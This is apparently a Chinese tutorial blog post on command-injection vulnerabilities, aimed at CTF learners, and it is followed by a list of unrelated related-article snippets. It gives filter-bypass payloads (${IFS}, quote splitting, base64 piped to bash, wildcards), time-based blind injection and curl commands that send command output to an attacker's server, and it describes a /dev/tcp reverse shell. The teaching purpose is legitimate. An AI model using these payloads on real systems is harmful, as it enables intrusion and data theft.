zyNo.22
常见Web漏洞解析
命令执行漏洞
1.Bash与CMD常用命令
(1)Bash
读取文件:最常见的命令cat flag
在 Bash 中,cat 以及的tac、nl、more、head、less、tail、od、pr 均为文件读取相关命令,它们的区别如下:
·cat
按顺序依次输出各文件内容,常用于快速查看小文件内容,或在脚本中组合文件内容等场景。
· tac
与 cat 相反,tac flag 会将 flag 文件内容从最后一行到第一行依次显示。
· nl
nl flag 会在显示 flag 文件内容的同时,给每行添加上行号
· more
逐页显示文件内容,按空格键显示下一页,按回车键显示下一行。当使用 more flag 时,会以分页形式展示 flag 文件内容。但它不支持反向浏览,适用于粗略查看文件且不需要太多交互操作的场景。
· head
默认显示文件的前 10 行内容。可通过选项指定显示的行数,比如 head -n 5 flag 会显示 flag 文件的前 5 行。常用于快速查看文件开头部分内容,了解文件大致结构或开头关键信息。
· less
也是分页显示文件内容,功能比 more 更强大。支持前后翻页(使用 Page Up 和 Page Down 键等)、搜索内容(输入 / 后接关键词可向下搜索,? 后接关键词可向上搜索)等操作。输入 less flag 后,可对 flag 文件进行多种交互操作,适合查看较大文件且需要频繁定位内容的情况。
·tail
默认显示文件的最后 10 行内容,同样可通过选项指定显示行数,如 tail -n 5 flag 显示 flag 文件的最后 5 行。还可以使用 -f 选项实时查看文件追加的内容,常用于查看日志文件等,当有新日志写入时,tail -f 能即时显示新内容。
· od
以八进制、十六进制等多种格式显示文件内容,主要用于查看二进制文件或者文本文件的原始字节数据。od flag 会以特定的格式展示 flag 文件的底层数据形式,对于分析二进制文件结构等场景很有用。
· pr
用于将文件内容格式化输出,比如添加页眉、页脚,进行分页等处理,方便打印。例如 pr flag 会对 flag 文件内容进行格式化后输出,可通过选项设置页眉页脚样式、页宽等参数。
其他
rm a.txt 删除a.txt
mv a b 将a文件重命名为b
cp a a2 复制a到a2
ls 列出当前目录
ls/etc 列出 /etc 目录下的文件
(2)cmd
dir 显示目录里的文件和文件夹
cd 切换目录
md 创建新的文件夹
rd 删除文件夹(但前提是这个文件夹得是空的)
del 删除文件
cls 清屏
copy 复制文件(相当于Linux里的cp)
ren 重命名文件
type 显示文件的内容
2.命令执行漏洞的基础概念

调用了system函数,中间的参数可控,没对username进行过滤,里面内容可能被注入其他命令
利用命令连接符注入我们想要执行的命令(例如system('mkdir &ls'...):
A;B:无论A执行成功与否都会执行B
A&B:A后台执行,A、B同时执行
A&&B:A执行成功后才能执行B
A|B:A执行的结果作为B命令的参数,AB均会执行
A | |B:A 执行失败后执行B
注意:如果直接把一些特殊符号放在URL里,可能服务器根本识别不了你想要的命令。所以得对这些特殊符号进行URL编码。比如,“;”编码后会变成“%3B”,“&”编码后是“%26”
3.过滤敏感字符串绕过的漏洞案例
黑名单过滤或者前面有安装WAF

WAF中会拦截、过滤各种字符
(1)过滤空格
可以用%09、%0a(在url编码中用得上)、${IFS}、$IFS$9(在Linux shell中用得上)等字符来过滤关键字。
(2)过滤关键字(cat、flag等)
1)用开头的读取文件替代命令去读取文件。
2)在过滤的字符串中加入单引号、双引号或反斜杠( ca"t ca"'"t ca\t )
3)$(printf"\x6c\x73") == Is:利用printf+16进制输出Is,再用$()调用Is
4 ) echo Y2FOIGluZGV4LnBocA == | Base64-d | bash:Base64编码绕过,echo Base64的结果通过|又传入了Base64,解密命令后又传入bash执行。
5)利用通配符:catfl?g catf*(“c*a*t f*l*g*.t*x*t”。这里“*”代表任意多个字符,这样就也可以模糊匹配到“cat flag.txt”命令)
6)a=c;b=at;$a$b:利用Linux下的变量拼接动态执行命令。
4.无回显的命令执行漏洞案例
system有回显exec无回显,具体区别看我另一篇文章在PHP中,system函数和exec函数有不同的功能和特点-CSDN博客文章浏览阅读42次。• system函数方便获取命令最后一行输出且直接显示全部输出,适合简单查看命令执行结果的场景。• exec函数更侧重于控制命令执行状态,如需获取输出需要额外处理,在一些对输出控制要求更精细、需要灵活处理的场景中使用。https://blog.csdn.net/2401_88743143/article/details/145570794?sharetype=blogdetail&sharerId=145570794&sharerefer=PC&sharesource=2401_88743143&sharefrom=mp_from_link
无回显函数来执行命令时,可以用反弹shell,了解相关知识,并在ai上取了个生动形象的例子看我另一篇文章反弹shell-CSDN博客文章浏览阅读22次。这段代码就像是一把特殊的 “钥匙”。bash -i就像是打开 Shell 这扇门的初始动作,它启动了一个交互式的 bash Shell,就好像在屋子内部打开了一个可以操作的控制台。这部分,/dev/tcp是 Linux 系统里一种特殊的网络设备接口,ip是黑客自己服务器的地址,port是一个特定的端口号,这部分相当于让靶机按照黑客服务器的地址和端口号去建立一个连接,就像是让屋子里的人按照小偷给的地址和门牌号去敲门。0>&1则是把标准输入也导向这个连接,保证整个交互过程的顺畅。https://blog.csdn.net/2401_88743143/article/details/145573131?sharetype=blogdetail&sharerId=145573131&sharerefer=PC&sharesource=2401_88743143&sharefrom=mp_from_link
攻击时没有回显常用的payload就是sleep 5判断这里是否存在命令注入。存在漏洞就会延时5s,当我们输入cmd=sleep5,服务器等待5s才回显出页面的话,存在命令注入,可以开始外带数据了。一般常见的就是使用HTTP外带数据,使用curl或者wget: 先在服务器上设置一个监听端口,然后在靶机上发送post请求去监听端口curl http://服务器 IP/-X POST-d"a=`ls`"(如果没有反引号,还可以使用$()代替。)如果不能用反引号,$()这些嵌套命令执行符号,怎懡外带数据,在Linux中可以把命令执行的结果写入tmp目录,并且用curl把这个文件发到我们自己的机器上![]()
命令解释:
1)首先用重定向符号>把命令执行结果写入到/tmp/re-sult中。
2)然后利用curl的-F参数将文件上传,将/tmp/result发送到远程服务器,参数格式如下 :- F"任意值=@文件路径"。
5.不出网的命令执行漏洞案例
假设web目录有写权限,那么我们可以把命令执行的结果写到Web根目录下(用>),然后去访问即可获得结果,http://127.0.0.1:8080/cmd.php? cmd=ls-1>1.txt
如果目录不可写,那么我们可以通过延时注入来获取内容,if [ 'whoami |cut-c 1'="r" ]; then sleep 2;fi
以上的命令盲注大致分3步。
1)首先是利用反引号执行whoami|cut-c1。获取到whoami的第一个字符r。
2)比较命令执行的返回结果和r,一致则返回True,否则就返回False。
3)最后进行if判断,如果为True,就sleep 2s。
经典例题[GXYCTF2019]Ping Ping Ping (文件执行漏洞)-CSDN博客文章浏览阅读2.5k次,点赞23次,收藏30次。通过回显我们可以知道在当前目录有flag.php和index.php文件。管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)比如我们想执行 cat flag.php但对方过滤了flag字符串。前面的语句为假则直接出错,后面的也不执行,前面只能为真。这个的意思是匹配到按flag这个顺序的所有字符。这个的意思是匹配到按flag这个顺序的所有字符。1、命令联合执行(参考lunan0320)cat fla$a.php即可。当前面的执行出错时(为假)执行后面的。前面的执行完执行后面的。_[gxyctf2019]ping ping pinghttps://blog.csdn.net/weixin_59233715/article/details/134966104?fromshare=blogdetail&sharetype=blogdetail&sharerId=134966104&sharerefer=PC&sharesource=2401_88743143&sharefrom=from_link
相关文章:
zyNo.22
常见Web漏洞解析 命令执行漏洞 1.Bash与CMD常用命令 (1)Bash 读取文件:最常见的命令cat flag 在 Bash 中,cat 以及的tac、nl、more、head、less、tail、od、pr 均为文件读取相关命令,它们的区别如下: …...
博客项目-day05(首页导航栏功能补全)
导航 其实之前已经实现过文章和标签分类了 但是这个对应的是导航栏的,多显示个图片 所以新增两个这个请求 文章分类 把之前的CategoryVo加个描述属性 写过这个copyList,直接用就行 标签分类 和上面的分类查询差不多 不多解释了 分类文章列表 点击这个后…...
防御保护-----前言
HCIE安全防御 前言 计算机病毒 蠕虫病毒----->具备蠕虫特性的病毒:1,繁殖性特别强(自我繁殖);2,具备破坏性 蠕虫病毒是一种常见的计算机病毒,其名称来源于它的传播方式类似于自然界中…...
力扣刷题(数组篇)
日期类 #pragma once#include <iostream> #include <assert.h> using namespace std;class Date { public:// 构造会频繁调用,所以直接放在类里面(类里面的成员函数默认为内联)Date(int year 1, int month 1, int day 1)//构…...
初一说明文:我的护眼灯
本文转自:AI范文助手网 原文链接:https://www.aazhushou.com/czzw/5023.html 自爱迪生发明了灯以来,各种各样的灯相继问世了,给人一种新景象,其中护眼灯也问世了。 我有一盏台灯叫麦迪格护眼灯。那天我和母亲去商场&…...
【论文阅读】Revisiting the Assumption of Latent Separability for Backdoor Defenses
https://github.com/Unispac/Circumventing-Backdoor-Defenses 摘要和介绍 在各种后门毒化攻击中,来自目标类别的毒化样本和干净样本通常在潜在空间中形成两个分离的簇。 这种潜在的分离性非常普遍,甚至在防御研究中成为了一种默认假设,我…...
八一南昌起义纪念塔手绘图纸:一部凝固的工程史诗
在南昌美术馆的玻璃展柜中,泛黄的八一南昌起义纪念塔手绘图纸正无声述说着一段工程奇迹。这些诞生于上世纪七十年代的图纸,以0.05毫米的针管笔触勾勒出总高53.6米的纪念碑,在硫酸纸上构建的坐标网格精确到毫米级,每一根结构线都暗…...
[hgame 2025 ]week1 pwn/crypto
一共两周,第一周说难也不难说简单也不简单。 pwn counting petals 数组v7长度17,输入16时v7[161]会发生溢出,溢出到v8,v9,将其改大,会输出canary和libc_start_main_ret的地址。第2次进来覆盖到返回地址写上ROP from pwn import…...
python 获取smpl身高 fbx身高
目录 python 获取smpl身高 读取fbx,获取fbx mesh身高 python 获取smpl身高 video_segments = pickle.load(open(smpl_pkl_path, "rb"))if isinstance(video_segments, tuple):video_segments = video_segments[0]scene = bpy.data.scenes[Scene]ob, obname, arm_o…...
实战教程:如何利用DeepSeek结合深度学习与NLP技术实现跨模态搜索与个性化推荐
跨模态搜索与个性化推荐是当前人工智能领域中的热门话题,DeepSeek作为结合深度学习与自然语言处理(NLP)技术的创新平台,提供了在多模态数据间进行搜索与推荐的强大能力。本教程将带你一步步实现基于DeepSeek的跨模态搜索和个性化推荐,详细讲解整个过程的实现方法,从数据准…...
计算机毕业设计Python+卷积神经网络租房推荐系统 租房大屏可视化 租房爬虫 hadoop spark 58同城租房爬虫 房源推荐系统
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…...
目标检测模型性能评估:mAP50、mAP50-95、Precision 和 Recall 及测试集质量的重要性
目标检测评估全解析:从核心指标到高质量测试集构建 目标检测技术在计算机视觉领域发挥着至关重要的作用,无论是自动驾驶、安防监控,还是医学影像处理,目标检测算法的性能评估都需要依赖一系列精确且科学的评估指标。而测试集的构建…...
AnyPlace:学习机器人操作的泛化目标放置
25年2月来自多伦多大学、Vector Inst、上海交大等机构的论文“AnyPlace: Learning Generalized Object Placement for Robot Manipulation”。 由于目标几何形状和放置的配置多种多样,因此在机器人任务中放置目标本身就具有挑战性。为了解决这个问题,An…...
2025icpc(Ⅱ)网络赛补题 GL
题意: 给定Alice和Bob的每一轮的概率p0,p1 给定Alice和Bob的初始数字x,y。 对于每一轮: 如果Alice获胜,则bob的数字y需要减去x。(如果y≤0,Alice获胜)如果Bob获胜,则Alice的数字x需要减去y。…...
51c大模型~合集112
我自己的原文哦~ https://blog.51cto.com/whaosoft/13267449 #Guidance-Free Training (GFT) 无需引导采样,清华大学提出视觉模型训练新范式 引导采样 Classifier-Free Guidance(CFG)一直以来都是视觉生成模型中的关键技术。然而最近&am…...
Rust 文件读取:实现我们的 “迷你 grep”
1. 准备示例文件 首先,在项目根目录(与 Cargo.toml 同级)下新建一个名为 poem.txt 的文件。示例内容可参考 Emily Dickinson 的诗: Im nobody! Who are you? Are you nobody, too? Then theres a pair of us — dont tell! Th…...
【Unity3D】Jenkins Pipeline流水线自动构建Apk
目录 一、准备阶段 二、创建Pipeline流水线项目 三、注意事项 一、准备阶段 1、安装tomcat 10.0.5 Index of apache-local/tomcat/tomcat-10 2、安装jdk 17 Java Archive Downloads - Java SE 17.0.13 and later 3、下载Jenkins 2.492.1 (.war)包 War Jenkins Packa…...
信息收集-Web应用备案产权Whois反查域名枚举DNS记录证书特征相似查询
知识点: 1、信息收集-Web应用-机构产权&域名相关性 2、信息收集-Web应用-DNS&证书&枚举子域名 企业信息 天眼查 https://www.tianyancha.com/ 企业信息 小蓝本 https://www.xiaolanben.com/ 企业信息 爱企查 https://aiqicha.baidu.com/ 企业信息 企查…...
结合实际讲NR系列2—— SIB1
这是在基站抓取的sib1的一条信令 L3MessageContent BCCH-DL-SCH-Messagemessagec1systemInformationBlockType1cellSelectionInfoq-RxLevMin: -64q-QualMin: -19cellAccessRelatedInfoplmn-IdentityListPLMN-IdentityInfoplmn-IdentityListPLMN-IdentitymccMCC-MNC-Digit: 4MC…...
绿虫仿真软件如何预测组件衰减对收益的影响?
绿虫仿真软件通过其精细化的算法模型,能够有效预测组件衰减对光伏电站收益的影响,主要体现在以下几个方面: 1. 数据基础与模型构建 历史数据分析:绿虫软件整合了长达20年的历史数据,涵盖气象、地理、组件型号、逆变器…...
React 第五十五节 Router 中 useAsyncError的使用详解
前言 useAsyncError 是 React Router v6.4 引入的一个钩子,用于处理异步操作(如数据加载)中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误:捕获在 loader 或 action 中发生的异步错误替…...
应用升级/灾备测试时使用guarantee 闪回点迅速回退
1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间, 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点,不需要开启数据库闪回。…...
【Linux】C语言执行shell指令
在C语言中执行Shell指令 在C语言中,有几种方法可以执行Shell指令: 1. 使用system()函数 这是最简单的方法,包含在stdlib.h头文件中: #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...
mongodb源码分析session执行handleRequest命令find过程
mongo/transport/service_state_machine.cpp已经分析startSession创建ASIOSession过程,并且验证connection是否超过限制ASIOSession和connection是循环接受客户端命令,把数据流转换成Message,状态转变流程是:State::Created 》 St…...
(二)TensorRT-LLM | 模型导出(v0.20.0rc3)
0. 概述 上一节 对安装和使用有个基本介绍。根据这个 issue 的描述,后续 TensorRT-LLM 团队可能更专注于更新和维护 pytorch backend。但 tensorrt backend 作为先前一直开发的工作,其中包含了大量可以学习的地方。本文主要看看它导出模型的部分&#x…...
《通信之道——从微积分到 5G》读书总结
第1章 绪 论 1.1 这是一本什么样的书 通信技术,说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号(调制) 把信息从信号中抽取出来&am…...
用docker来安装部署freeswitch记录
今天刚才测试一个callcenter的项目,所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...
Mac下Android Studio扫描根目录卡死问题记录
环境信息 操作系统: macOS 15.5 (Apple M2芯片)Android Studio版本: Meerkat Feature Drop | 2024.3.2 Patch 1 (Build #AI-243.26053.27.2432.13536105, 2025年5月22日构建) 问题现象 在项目开发过程中,提示一个依赖外部头文件的cpp源文件需要同步,点…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...
如何在网页里填写 PDF 表格?
有时候,你可能希望用户能在你的网站上填写 PDF 表单。然而,这件事并不简单,因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件,但原生并不支持编辑或填写它们。更糟的是,如果你想收集表单数据ÿ…...
